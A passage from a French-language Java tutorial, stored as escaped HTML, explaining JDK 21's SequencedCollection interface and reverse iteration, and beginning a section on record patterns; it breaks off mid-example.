&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SequencedCollection&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;reversed&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// methods promoted from Deque&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;addFirst&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;addLast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getFirst&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getLast&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;removeFirst&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;removeLast&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour parcourir une &lt;em&gt;collection ordonnée&lt;/em&gt; (&lt;em&gt;sequenced collection&lt;/em&gt;), on peut écrire : &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;SequencedCollection&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nombrils&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Vicky&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Jenny&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Karine&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="cm"&gt;/*&lt;/span&gt;
&lt;span class="cm"&gt;for modifiable sequenced collection&lt;/span&gt;
&lt;span class="cm"&gt;nombrils = new ArrayList&amp;lt;&amp;gt;(List.of(&amp;quot;Vicky&amp;quot;, &amp;quot;Jenny&amp;quot;, &amp;quot;Karine&amp;quot;));&lt;/span&gt;
&lt;span class="cm"&gt;*/&lt;/span&gt;

&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nombrils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getFirst&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nombrils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getLast&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nombrils&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot; &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nombrils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;reversed&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot; &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="c1"&gt;// or with stream&lt;/span&gt;
&lt;span class="n"&gt;nombrils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;reversed&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;print&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;De même pour &lt;code&gt;SequencedSet&amp;lt;E&amp;gt;&lt;/code&gt; (qui étend &lt;code&gt;Set&amp;lt;E&amp;gt;&lt;/code&gt;) et &lt;code&gt;SequencedMap&amp;lt;K, V&amp;gt;&lt;/code&gt; (qui étend &lt;code&gt;Map&amp;lt;K, V&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Ces nouvelles interfaces répondent à des incohérences dans le &lt;em&gt;framework&lt;/em&gt; &lt;code&gt;Collection&lt;/code&gt; :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;List&lt;/code&gt; et &lt;code&gt;Deque&lt;/code&gt; ont un ordre implicite, mais leur supertype commun, &lt;code&gt;Collection&lt;/code&gt;, n&amp;rsquo;en définit pas;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Set&lt;/code&gt; n&amp;rsquo;impose pas d&amp;rsquo;ordre, bien que &lt;code&gt;LinkedHashSet&lt;/code&gt; et &lt;code&gt;SortedSet&lt;/code&gt; le fassent et;&lt;/li&gt;
&lt;li&gt;les collections immuables, comme celles créées avec &lt;code&gt;Collections.unmodifiableSet()&lt;/code&gt;, perdent les informations d&amp;rsquo;ordre.  &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;De plus, accéder au premier ou dernier élément varie selon les collections :  &lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;Collection&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Premier élément&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Dernier élément&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;List&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;list.get(0)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;list.get(list.size() - 1)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Deque&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;deque.getFirst()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;deque.getLast()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SortedSet&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sortedSet.first()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sortedSet.last()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;LinkedHashSet&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;linkedHashSet.iterator().next()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;Aucune méthode dédiée&lt;/em&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Itérer en sens inverse n&amp;rsquo;est pas non plus cohérent :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Deque&lt;/code&gt; (et &lt;code&gt;NavigableSet&lt;/code&gt;) propose(nt) &lt;code&gt;descendingIterator()&lt;/code&gt; :  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Deque&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;deque&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LinkedList&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Vicky&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Jenny&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Karine&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;deque&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;descendingIterator&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;hasNext&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;next&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;NavigableSet&lt;/code&gt; utilise (aussi) &lt;code&gt;descendingSet()&lt;/code&gt; :  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;NavigableSet&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;navigableSet&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TreeSet&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;navigableSet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Vicky&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Jenny&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Karine&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;navigableSet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;descendingSet&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;tandis que &lt;code&gt;List&lt;/code&gt; emploie un &lt;code&gt;ListIterator&lt;/code&gt; :  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ArrayList&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Vicky&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Jenny&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Karine&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;listIterator&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;size&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;hasPrevious&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;previous&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;La méthode &lt;code&gt;reversed()&lt;/code&gt; amène une belle cohérence à tout ça. &lt;/p&gt;
&lt;p&gt;Voir &lt;a href="https://openjdk.org/jeps/431"&gt;JEP 431&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Record pattern&lt;/h3&gt;
&lt;p&gt;Les &lt;em&gt;record patterns&lt;/em&gt; permettent de « déconstruire » des &lt;em&gt;records&lt;/em&gt;. Ces &lt;em&gt;record patterns&lt;/em&gt; ont fait l&amp;rsquo;objet de plusieurs &lt;em&gt;preview&lt;/em&gt; depuis JDK19.&lt;/p&gt;
&lt;p&gt;Avant les &lt;em&gt;type patterns&lt;/em&gt; introduit avec JDK16, l’idiome &lt;em&gt;instanceof-and-cast&lt;/em&gt; s&amp;rsquo;écrivait : &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// Prior to JDK16&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;instanceof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... use s ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;JDK16 et le &lt;em&gt;type pattern&lt;/em&gt; à simplifié l&amp;rsquo;écriture avec,&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// As of Java 16&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;instanceof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... use s ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Que se passe-t-il si l&amp;rsquo;objet n&amp;rsquo;est pas de type &lt;code&gt;String&lt;/code&gt; mais est un &lt;code&gt;record&lt;/code&gt; ? &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// As of Java 16&lt;/span&gt;
&lt;span class="kd"&gt;record&lt;/span&gt; &lt;span class="nc"&gt;Point&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;

&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;printSum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;instanceof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Point&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;y&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
